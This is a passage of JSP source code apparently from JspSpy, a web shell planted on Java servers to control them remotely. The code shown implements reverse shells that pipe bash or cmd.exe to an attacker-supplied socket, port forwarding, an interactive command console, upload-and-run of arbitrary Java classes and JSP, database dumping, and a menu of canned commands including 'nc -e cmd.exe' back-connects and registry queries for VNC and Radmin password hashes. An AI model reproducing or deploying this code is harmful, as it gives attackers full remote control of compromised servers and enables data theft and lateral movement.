2474public boolean doAfter(){return true;}
2475public boolean doBefore(){return true;}
2476public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2477try {
2478String targetIP = request.getParameter("targetIP");
2479String targetPort = request.getParameter("targetPort");
2480String yourIP = request.getParameter("yourIP");
2481String yourPort = request.getParameter("yourPort");
2482Socket yourS = new Socket();
2483yourS.connect(new InetSocketAddress(yourIP,Integer.parseInt(yourPort)));
2484Socket targetS = new Socket();
2485targetS.connect(new InetSocketAddress(targetIP,Integer.parseInt(targetPort)));
2486StreamConnector.readFromLocal(new DataInputStream(targetS.getInputStream()),new DataOutputStream(yourS.getOutputStream()));
2487StreamConnector.readFromRemote(targetS,yourS,new DataInputStream(yourS.getInputStream()),new DataOutputStream(targetS.getOutputStream()));
2488JSession.setAttribute("done","Port Back Success !");
2489((Invoker)ins.get("vmp")).invoke(request,response,JSession);
2490} catch (Exception e) {
2491
2492throw e ;
2493}
2494}
2495}
2496private static class MapPortInvoker extends DefaultInvoker {
2497public boolean doBefore(){return false;}
2498public boolean doAfter(){return false;}
2499public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2500try {
2501PrintWriter out = response.getWriter();
2502String localIP = request.getParameter("localIP");
2503String localPort = request.getParameter("localPort");
2504final String remoteIP = request.getParameter("remoteIP");
2505final String remotePort = request.getParameter("remotePort");
2506if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
2507return;
2508Object obj = JSession.getAttribute(PORT_MAP);
2509if (obj != null) {
2510ServerSocket s = (ServerSocket)obj;
2511s.close();
2512}
2513final ServerSocket server = new ServerSocket();
2514server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
2515JSession.setAttribute(PORT_MAP,server);
2516new Thread(new Runnable(){
2517public void run(){
2518while (true) {
2519Socket soc = null;
2520Socket remoteSoc = null;
2521DataInputStream remoteIn = null;
2522DataOutputStream remoteOut = null;
2523DataInputStream localIn = null;
2524DataOutputStream localOut = null;
2525try{
2526soc = server.accept();
2527remoteSoc = new Socket();
2528remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
2529remoteIn = new DataInputStream(remoteSoc.getInputStream());
2530remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
2531localIn = new DataInputStream(soc.getInputStream());
2532localOut = new DataOutputStream(soc.getOutputStream());
2533StreamConnector.readFromLocal(localIn,remoteOut);
2534StreamConnector.readFromRemote(soc,remoteSoc,remoteIn,localOut);
2535}catch(Exception ex)
2536{
2537break;
2538}
2539}
2540}
2541
2542}).start();
2543JSession.setAttribute("done","Map Port Success!");
2544JSession.setAttribute("localIP",localIP);
2545JSession.setAttribute("localPort",localPort);
2546JSession.setAttribute("remoteIP",remoteIP);
2547JSession.setAttribute("remotePort",remotePort);
2548JSession.setAttribute(SESSION_O,"vmp");
2549response.sendRedirect(SHELL_NAME);
2550} catch (Exception e) {
2551
2552throw e ;
2553}
2554}
2555}
2556//VBackConnect
2557private static class VbcInvoker extends DefaultInvoker {
2558public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2559try {
2560PrintWriter out = response.getWriter();
2561Object ip = JSession.getAttribute("ip");
2562Object port = JSession.getAttribute("port");
2563Object program = JSession.getAttribute("program");
2564Object done = JSession.getAttribute("done");
2565JSession.removeAttribute("ip");
2566JSession.removeAttribute("port");
2567JSession.removeAttribute("program");
2568JSession.removeAttribute("done");
2569if (Util.isEmpty(ip))
2570ip = request.getRemoteAddr();
2571if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
2572port = "53";
2573if (Util.isEmpty(program)) {
2574if (ISLINUX)
2575program = "/bin/bash";
2576else
2577program = "cmd.exe";
2578}
2579
2580if (!Util.isEmpty(done))
2581Util.outMsg(out,done.toString());
2582out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
2583"<input type=\"hidden\" name=\"o\" value=\"backConnect\">"+
2584" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2585" <tr>"+
2586" <td><h2 id=\"Bin_H2_Title\">Back Connect >></h2>"+
2587" <div id=\"hOWTm\">"+
2588" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2589" <tr align=\"center\">"+
2590" <td style=\"width:5%\"></td>"+
2591" <td align=\"center\">Your Ip :"+
2592" <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""+ip+"\" />"+
2593" Your Port :"+
2594" <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""+port+"\" />Program To Back :"+
2595" <input name=\"program\" id=\"program\" type=\"text\" value=\""+program+"\" class=\"input\" size=\"20\" value=\"d\" /></td>"+
2596" </tr>"+
2597" <tr align=\"center\">"+
2598" <td colspan=\"2\"><br/>"+
2599" <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"+
2600" </td>"+
2601" </tr>"+
2602" </table>"+
2603" </div>"+
2604"</td>"+
2605"</tr>"+
2606"</table>"+
2607"</form>");
2608} catch (Exception e) {
2609
2610throw e ;
2611}
2612}
2613}
2614private static class BackConnectInvoker extends DefaultInvoker {
2615public boolean doAfter(){return false;}
2616public boolean doBefore(){return false;}
2617public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2618try {
2619String ip = request.getParameter("ip");
2620String port = request.getParameter("port");
2621String program = request.getParameter("program");
2622if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
2623return;
2624Socket socket = new Socket(ip,Integer.parseInt(port));
2625Process process = Runtime.getRuntime().exec(program);
2626(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
2627(new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start();
2628(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
2629JSession.setAttribute("done","Back Connect Success!");
2630JSession.setAttribute("ip",ip);
2631JSession.setAttribute("port",port);
2632JSession.setAttribute("program",program);
2633JSession.setAttribute(SESSION_O,"vbc");
2634response.sendRedirect(SHELL_NAME);
2635} catch (Exception e) {
2636
2637throw e ;
2638}
2639}
2640}
2641private static class JspEnvInvoker extends DefaultInvoker {
2642public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2643try {
2644PrintWriter out = response.getWriter();
2645out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2646" <tr>"+
2647" <td><h2 id=\"Ninty_H2_Title\">System Properties >></h2>"+
2648" <div id=\"ghaB\">"+
2649" <hr/>"+
2650" <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
2651Properties pro = System.getProperties();
2652Enumeration names = pro.propertyNames();
2653while (names.hasMoreElements()){
2654String name = (String)names.nextElement();
2655out.println("<li><u>"+Util.htmlEncode(name)+" : </u>"+Util.htmlEncode(pro.getProperty(name))+"</li>");
2656}
2657out.println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment >></h2><hr/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
2658/*
2659 Map envs = System.getenv();
2660Set<Map.Entry<String,String>> entrySet = envs.entrySet();
2661for (Map.Entry<String,String> en:entrySet) {
2662out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
2663}*/
2664out.println("</ul></div></td>"+
2665" </tr>"+
2666" </table>");
2667} catch (Exception e) {
2668
2669throw e ;
2670}
2671}
2672}
2673private static class ReflectInvoker extends DefaultInvoker {
2674public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2675try {
2676PrintWriter out = response.getWriter();
2677String c = request.getParameter("Class");
2678Class cls = null;
2679try {
2680if (!Util.isEmpty(c))
2681cls = Class.forName(c);
2682} catch (ClassNotFoundException ex) {
2683Util.outMsg(out,"<span style='color:red'>Class "+c+" Not Found ! </span>");
2684}
2685out.println("<form action=\""+SHELL_NAME+"\" id='refForm' method=\"post\">"+
2686" <input type=\"hidden\" name=\"o\" value=\"reflect\">"+
2687" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2688" <tr>"+
2689" <td><h2 id=\"Bin_H2_Title\">Java Reflect >></h2>"+
2690" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2691" <tr>"+
2692" <td>Class Name : <input name=\"Class\" type=\"text\" class=\"input\" value=\""+(Util.isEmpty(c) ? "java.lang.Object" : c)+"\" size=\"60\"/> "+
2693" <input type=\"submit\" class=\"bt\" value=\"Reflect\"/></td>"+
2694" </tr>"+
2695" "+
2696" </table>"+
2697" </td>"+
2698" </tr>"+
2699" </table>"+
2700"</form>");
2701
2702if (cls != null) {
2703StringBuffer sb = new StringBuffer();
2704if (cls.getPackage() != null)
2705sb.append("package "+cls.getPackage().getName()+";\n");
2706String n = null;
2707if (cls.isInterface())
2708n = "";
2709//else if (cls.isEnum())
2710// n = "enum";
2711else
2712n = "class";
2713sb.append(Modifier.toString(cls.getModifiers())+" "+n+" "+cls.getName()+"\n");
2714if (cls.getSuperclass() != null)
2715sb.append("\textends <a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+cls.getSuperclass().getName()+"';document.forms['refForm'].submit()\" style='color:red;'>"+cls.getSuperclass().getName()+"</a>\n");
2716if (cls.getInterfaces() != null && cls.getInterfaces().length != 0) {
2717Class[] faces = cls.getInterfaces();
2718sb.append("\t implements ");
2719for (int i = 0;i<faces.length;i++) {
2720sb.append("<a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+faces[i].getName()+"';document.forms['refForm'].submit()\" style='color:red'>"+faces[i].getName()+"</a>");
2721if (i != faces.length -1) {
2722sb.append(",");
2723}
2724}
2725}
2726sb.append("{\n\t\n");
2727sb.append("\t//constructors..\n");
2728Constructor[] cs = cls.getConstructors();
2729for (int i = 0;i<cs.length;i++) {
2730Constructor cc = cs[i];
2731sb.append("\t"+cc+";\n");
2732}
2733sb.append("\n\t//fields\n");
2734Field[] fs = cls.getDeclaredFields();
2735for (int i =0;i<fs.length;i++) {
2736Field f = fs[i];
2737sb.append("\t"+f.toString()+";");
2738if (Modifier.toString(f.getModifiers()).indexOf("static") != -1) {
2739sb.append("\t//value is : ");
2740f.setAccessible(true);
2741Object obj = f.get(null);
2742sb.append("<span style='color:red'>");
2743if (obj != null)
2744sb.append(obj.toString());
2745else
2746sb.append("NULL");
2747
2748sb.append("</span>");
2749}
2750sb.append("\n");
2751}
2752
2753sb.append("\n\t//methods\n");
2754Method[] ms = cls.getDeclaredMethods();
2755for (int i =0;i<ms.length;i++) {
2756Method m = ms[i];
2757sb.append("\t"+ m.toString()+";\n");
2758}
2759sb.append("}\n");
2760String m = "<span style='font-weight:normal'>"+Util.highLight(sb.toString()).replaceAll("\t"," ").replaceAll("\n","<br/>")+"</span>";
2761Util.outMsg(out,m,"left");
2762}
2763} catch (Exception e) {
2764throw e;
2765}
2766}
2767}
2768private static class TopInvoker extends DefaultInvoker {
2769public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2770try {
2771PrintWriter out = response.getWriter();
2772out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" name=\"doForm\"></form>"+
2773"<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"+
2774" <tr class=\"head\">"+
2775" <td><span style=\"float:right;\"><a href=\"http://www.forjj.com\" target=\"_blank\">JspSpy Ver: 2010 </a></span>"+request.getHeader("host")+" (<span id='ip'>"+InetAddress.getLocalHost().getHostAddress()+"</span>) | <a href=\"javascript:if (!window.clipboardData){alert('only support IE!');}else{void(window.clipboardData.setData('Text', document.getElementById('ip').innerText));alert('ok')}\">copy</a></td>"+
2776" </tr>"+
2777" <tr class=\"alt1\">"+
2778" <td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "+
2779" <a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "+
2780" <a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "+
2781" <a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "+
2782" <a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "+
2783" <a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "+
2784" <a href=\"javascript:doPost({o:'reflect'});\">Java Reflect</a> | "+
2785" <!--<a href=\"javascript:alert('not support yet');\">Http Proxy</a> | -->"+
2786" <a href=\"javascript:doPost({o:'ev'});\">Eval Java Code</a> | "+
2787" <a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "+
2788" <a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "+
2789" <a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "+
2790" <a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "+
2791" <a href=\"javascript:doPost({o:'vother'});\">Others</a> | "+
2792" <a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "+
2793" </tr>"+
2794"</table>");
2795if (JSession.getAttribute(MSG) != null) {
2796Util.outMsg(out,JSession.getAttribute(MSG).toString());
2797JSession.removeAttribute(MSG);
2798}
2799if (JSession.getAttribute(ENTER_MSG) != null) {
2800String outEntry = request.getParameter("outentry");
2801if (Util.isEmpty(outEntry) || !outEntry.equals("true"))
2802Util.outMsg(out,JSession.getAttribute(ENTER_MSG).toString());
2803}
2804} catch (Exception e) {
2805
2806throw e ;
2807}
2808}
2809}
2810private static class VOnLineShellInvoker extends DefaultInvoker {
2811public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2812try {
2813PrintWriter out = response.getWriter();
2814out.println("<script>"+
2815" function $(id) {"+
2816" return document.getElementById(id);"+
2817" }"+
2818" var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"+
2819" window.onload = function(){"+
2820" setInterval(function(){"+
2821" if ($(\"autoscroll\").checked)"+
2822" {"+
2823" var f = window.frames[\"echo\"];"+
2824" if (f && f.document && f.document.body)"+
2825" {"+
2826" if (!ie)"+
2827" {"+
2828" if (f.document.body.offsetHeight)"+
2829" {"+
2830" f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"+
2831" }"+
2832" } else {"+
2833" f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"+
2834" }"+
2835" }"+
2836" }"+
2837" },500);"+
2838" }"+
2839" </script>");
2840out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2841" <tr>"+
2842" <td>");
2843out.println("<h2>Shell OnLine »</h2><br/>");
2844out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">"+
2845" <input type=\"submit\" value=\" start \" class=\"bt\">"+
2846" <input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\""+(ISLINUX ? "/bin/bash" :"c:\\windows\\system32\\cmd.exe")+"\"/>"+
2847" <input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo</span>"+
2848" </form>"+
2849" <hr/>"+
2850" <iframe class=\"secho\" name=\"echo\" src=\"\">"+
2851" </iframe>"+
2852" <form action=\""+SHELL_NAME+"\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"+
2853" <input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:75%\">"+
2854" <input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"+
2855" <select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">"+
2856" <option value=\"\" selected> </option>"+
2857" <option value=\"uname -a\">uname -a</option>"+
2858" <option value=\"cat /etc/issue\">issue</option>"+
2859" <option value=\"cat /etc/passwd\">passwd</option>"+
2860" <option value=\"netstat -an\">netstat -an</option>"+
2861" <option value=\"net user\">net user</option>"+
2862" <option value=\"tasklist\">tasklist</option>"+
2863" <option value=\"tasklist /svc\">tasklist /svc</option>"+
2864" <option value=\"net start\">net start</option>"+
2865" <option value=\"net stop policyagent /yes\">net stop</option>"+
2866" <option value=\"nbtstat -A IP\">nbtstat -A</option>"+
2867" <option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"+
2868" <option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"+
2869" <option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"+
2870" <option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"+
2871" <option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"+
2872" <option value=\"systeminfo\">systeminfo</option>"+
2873" <option value=\"net localgroup\">view groups</option>"+
2874" <option value=\"net localgroup administrators\">view admins</option>"+
2875" </select>"+
2876" <input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"+
2877" <input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">"+
2878" </form>"+
2879" <iframe style=\"display:none\" name=\"asyn\"></iframe>"
2880);
2881out.println(" </td>"+
2882" </tr>"+
2883"</table>");
2884} catch (Exception e) {
2885throw e ;
2886}
2887}
2888}
2889private static class OnLineInvoker extends DefaultInvoker {
2890public boolean doBefore(){return false;}
2891public boolean doAfter(){return false;}
2892public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2893try {
2894String type = request.getParameter("type");
2895if (Util.isEmpty(type))
2896return;
2897if (type.toLowerCase().equals("start")) {
2898String exe = request.getParameter("exe");
2899if (Util.isEmpty(exe))
2900return;
2901Process pro = Runtime.getRuntime().exec(exe);
2902ByteArrayOutputStream outs = new ByteArrayOutputStream();
2903response.setContentLength(100000000);
2904response.setContentType("text/html;charset="+System.getProperty("file.encoding"));
2905OnLineProcess olp = new OnLineProcess(pro);
2906JSession.setAttribute(SHELL_ONLINE,olp);
2907new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
2908new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
2909new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();
2910Thread.sleep(1000 * 60 * 60 * 24);
2911} else if (type.equals("ecmd")) {
2912Object o = JSession.getAttribute(SHELL_ONLINE);
2913String cmd = request.getParameter("cmd");
2914if (Util.isEmpty(cmd))
2915return;
2916if (o == null)
2917return;
2918OnLineProcess olp = (OnLineProcess)o;
2919olp.setCmd(cmd);
2920} else {
2921Object o = JSession.getAttribute(SHELL_ONLINE);
2922if (o == null)
2923return;
2924OnLineProcess olp = (OnLineProcess)o;
2925olp.stop();
2926}
2927} catch (Exception e) {
2928
2929throw e;
2930}
2931}
2932}
2933private static class EnterInvoker extends DefaultInvoker {
2934public boolean doBefore(){return false;}
2935public boolean doAfter(){return false;}
2936public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2937PrintWriter out = response.getWriter();
2938String type = request.getParameter("type");
2939if (!Util.isEmpty(type)) {
2940JSession.removeAttribute(ENTER);
2941JSession.removeAttribute(ENTER_MSG);
2942JSession.removeAttribute(ENTER_CURRENT_DIR);
2943JSession.setAttribute(MSG,"Exit File Success ! ");
2944} else {
2945String f = request.getParameter("filepath");
2946if (Util.isEmpty(f))
2947return;
2948JSession.setAttribute(ENTER,f);
2949JSession.setAttribute(ENTER_MSG,"You Are In File <a style='color:red'>\""+f+"\"</a> Now ! <a href=\"javascript:doPost({o:'enter',type:'exit'})\"> Exit </a>");
2950}
2951response.sendRedirect(SHELL_NAME);
2952}
2953}
2954private static class VExport2FileInvoker extends DefaultInvoker {
2955public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2956PrintWriter out = response.getWriter();
2957String type = request.getParameter("type");
2958String sql = request.getParameter("sql");
2959String table = request.getParameter("table");
2960if (Util.isEmpty(sql) && Util.isEmpty(table)) {
2961JSession.setAttribute(SESSION_O,"vConn");
2962response.sendRedirect(SHELL_NAME);
2963return;
2964}
2965out.println("<form action=\"\" method=\"post\">"+
2966"<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2967" <tr>"+
2968" <td>"+
2969" <input type=\"hidden\" name=\"o\" value=\"export\"/>"+
2970" <input type=\"hidden\" name=\"type\" value=\""+(Util.isEmpty(type) ? "" : type)+"\"/>"+
2971" <input type=\"hidden\" name=\"sql\" value=\""+(Util.isEmpty(sql) ? "" : sql.replaceAll("\"","""))+"\"/>"+
2972" <input type=\"hidden\" name=\"table\" value=\""+(Util.isEmpty(table) ? "" : table)+"\"/>"+
2973" <h2>Export To File »</h2>"+
2974" "+
2975" <hr/>Export \"<span style='color:red;font-weight:bold'>"+(Util.isEmpty(sql) ? table : sql.replaceAll("\"","""))+"</span>\" To File : <input type=\"text\" style=\"font-weight:bold\" name=\"filepath\" value=\""+(JSession.getAttribute(CURRENT_DIR).toString()+"/exportdata.txt")+"\" size=\"100\" class=\"input\"/>"+
2976" <select name='encode' class='input'><option value=''>ANSI</option><option value='GBK'>GBK</option><option value='UTF-8'>UTF-8</option><option value='ISO-8859-1'>ISO-8859-1</option></select>"+
2977" <input type=\"submit\" class=\"bt\" value=\"Export\"/><br/><br/>"+BACK_HREF+"</td>"+
2978" </tr>"+
2979" </table>"+
2980"</form>");
2981}
2982}
2983
2984private static class ExportInvoker extends DefaultInvoker {
2985public boolean doBefore(){return false;}
2986public boolean doAfter(){return false;}
2987public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2988String type = request.getParameter("type");
2989String filepath = request.getParameter("filepath");
2990String encode = request.getParameter("encode");
2991String sql = null;
2992DBOperator dbo = null;
2993dbo = (DBOperator)JSession.getAttribute(DBO);
2994
2995if (Util.isEmpty(type)) {
2996//table export
2997String tb = request.getParameter("table");
2998if (Util.isEmpty(tb))
2999return;
3000String s = dbo.getConn().getMetaData().getIdentifierQuoteString();
3001sql = "select * from "+s+tb+s;
3002
3003} else if (type.equals("queryexp")) {
3004//query export
3005sql = request.getParameter("sql");
3006if (Util.isEmpty(sql)) {
3007JSession.setAttribute(SESSION_O,"vConn");
3008response.sendRedirect(SHELL_NAME);
3009return;
3010}
3011}
3012Object o = dbo.execute(sql);
3013ByteArrayOutputStream bout = new ByteArrayOutputStream();
3014byte[] rowSep = "\r\n".getBytes();
3015if (o instanceof ResultSet) {
3016ResultSet rs = (ResultSet)o;
3017ResultSetMetaData meta = rs.getMetaData();
3018int count = meta.getColumnCount();
3019for (int i =1;i<=count;i++) {
3020String colName = meta.getColumnName(i)+"\t";
3021byte[] b = null;
3022if (Util.isEmpty(encode))
3023b = colName.getBytes();
3024else
3025b = colName.getBytes(encode);
3026bout.write(b,0,b.length);
3027}
3028bout.write(rowSep,0,rowSep.length);
3029while (rs.next()) {
3030for (int i =1;i<=count;i++) {
3031String v = null;
3032try {
3033v = rs.getString(i);
3034} catch (SQLException ex) {
3035v = "<<Error!>>";
3036}
3037v += "\t";
3038byte[] b = null;
3039if (Util.isEmpty(encode))
3040b = v.getBytes();
3041else
3042b = v.getBytes(encode);
3043bout.write(b,0,b.length);
3044}
3045bout.write(rowSep,0,rowSep.length);
3046}
3047rs.close();
3048ByteArrayInputStream input = new ByteArrayInputStream(bout.toByteArray());
3049BufferedOutputStream output = null;
3050if (!Util.isEmpty(filepath)) {
3051//export2file
3052output = new BufferedOutputStream(new FileOutputStream(new File(filepath)));
3053} else {
3054//download.
3055response.setHeader("Content-Disposition","attachment;filename=DataExport.txt");
3056output = new BufferedOutputStream(response.getOutputStream());
3057}
3058byte[] data = new byte[1024];
3059int len = input.read(data);
3060while (len != -1) {
3061output.write(data,0,len);
3062len = input.read(data);
3063}
3064bout.close();
3065input.close();
3066output.close();
3067if (!Util.isEmpty(filepath)) {
3068JSession.setAttribute(MSG,"Export To File Success !");
3069response.sendRedirect(SHELL_NAME);
3070}
3071}
3072}
3073}
3074private static class EvalInvoker extends DefaultInvoker {
3075public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3076String type = request.getParameter("type");
3077PrintWriter out = response.getWriter();
3078Object msg = JSession.getAttribute(MSG);
3079if (msg != null) {
3080Util.outMsg(out,(String)msg);
3081JSession.removeAttribute(MSG);
3082}
3083if (Util.isEmpty(type)) {
3084out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
3085" <tr>"+
3086" <td><h2>Eval Java Code »</h2>"+
3087"<hr/>"+
3088" <p>"+
3089" <form action=\""+SHELL_NAME+"?o=eu\" method=\"post\" enctype=\"multipart/form-data\">"+
3090"UpLoad a Class File : ");
3091Util.outMsg(out,"<pre>"+
3092"<span style='color:blue'>public class</span> SpyEval{\r\n"+
3093" <span style='color:blue'>static</span> {\r\n"+
3094" <span style='color:green'>//Your Code Here.</span>\r\n"+
3095" }\r\n"+
3096"}\r\n"+
3097"</pre>","left");
3098out.println(" <input class=\"input\" name=\"file\" type=\"file\"/> <input type=\"submit\" class=\"bt\" value=\" Eval \"></form><hr/>"+
3099" <form action=\""+SHELL_NAME+"\" method=\"post\"><p></p>Jsp Eval : <br/>"+
3100" <input type=\"hidden\" name=\"o\" value=\"ev\"><input type=\"hidden\" name=\"type\" value=\"jsp\">"+
3101" <textarea name=\"jspc\" rows=\"15\" cols=\"70\">"+URLDecoder.decode("%3C%25%40page+pageEncoding%3D%22utf-8%22%25%3E%0D%0A%3C%25%0D%0A%2F%2Fyour+code+here.%0D%0Aout.println%28%22create+a+jsp+file+then+include+it+%21+by++ninty%22%29%3B%0D%0A%25%3E","utf-8")+"</textarea>"+
3102" <br/><input class=\"bt\" name=\"button\" id=\"button\" value=\"Eval\" type=\"submit\" size=\"100\" />"+
3103" </form>"+
3104" </p>"+
3105" </td>"+
3106" </tr>"+
3107"</table>");
3108} else if (type.equals("jsp")){
3109String jspc = request.getParameter("jspc");
3110if (Util.isEmpty(jspc))
3111return;
3112File f = new File(SHELL_DIR,"evaltmpninty.jsp");
3113BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f),"utf-8"));
3114writer.write(jspc,0,jspc.length());
3115writer.flush();
3116writer.close();
3117out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
3118" <tr>"+
3119" <td><h2>Jsp Eval Result »</h2>");
3120out.println("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:left;font-weight:bold;margin:10px\">");
3121request.getRequestDispatcher("evaltmpninty.jsp").include(request,response);
3122out.println("</div><input type=\"button\" value=\" Back \" class=\"bt\" onclick=\"history.back()\"></td></tr></table> ");
3123f.delete();
3124}
3125}
3126}
3127private static class EvalUploadInvoker extends DefaultInvoker {
3128public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3129ByteArrayOutputStream stream = new ByteArrayOutputStream();
3130UploadBean upload = new UploadBean();
3131upload.setTargetOutput(stream);
3132upload.parseRequest(request);
3133
3134if (stream.toByteArray().length == 2) {
3135JSession.setAttribute(MSG,"Please Upload Your Class File ! ");
3136((Invoker)ins.get("ev")).invoke(request,response,JSession);
3137return;
3138}
3139SpyClassLoader loader = new SpyClassLoader();
3140try {
3141Class c = loader.defineClass(null,stream.toByteArray());
3142c.newInstance();
3143}catch(Exception e) {
3144}
3145stream.close();
3146JSession.setAttribute(MSG,"Eval Java Class Done ! ");
3147((Invoker)ins.get("ev")).invoke(request,response,JSession);
3148}
3149}
3150private static class VOtherInvoker extends DefaultInvoker {
3151public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3152try {
3153PrintWriter out = response.getWriter();
3154Object msg = JSession.getAttribute(MSG);
3155if (msg != null) {
3156Util.outMsg(out,(String)msg);
3157JSession.removeAttribute(MSG);
3158}
3159out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
3160" <tr>"+
3161" <td><h2 id=\"Bin_H2_Title\">Session Manager>></h2><hr/>"+
3162" <div id=\"hOWTm\" style=\"line-height:30px\">"+
3163" <ul>");
3164Enumeration en = JSession.getAttributeNames();
3165while (en.hasMoreElements()) {
3166Object o = en.nextElement();
3167if (o.toString().equals(MSG))
3168continue;
3169out.println("<li><form action='"+SHELL_NAME+"' method='post'><u>"+o.toString()+"</u> <input type=\"text\" name=\"value\" class=\"input\" size=\"50\" value=\""+JSession.getAttribute(o.toString())+"\">");
3170out.println("<input type='button' class='bt' value='Update' onclick=\"this.form.elements['type'].value='update';this.form.submit()\"> <input type='button' onclick=\"this.form.elements['type'].value='delete';this.form.submit()\" class='bt' value='Delete'/>");
3171out.println("<input type='hidden' name='o' value='sm'/><input type='hidden' name='type'/>");
3172out.println("<input type='hidden' name='name' value='"+o.toString()+"'/>");
3173out.println("</form></li>");
3174}
3175out.println("<li style='list-style:none'><form action='"+SHELL_NAME+"' method='post'><fieldset>"+
3176"<legend>New Session Attribute</legend>"+
3177"name : <input type=\"text\" name=\"name\" value=\"\" class=\"input\"> value : <input type=\"text\""+
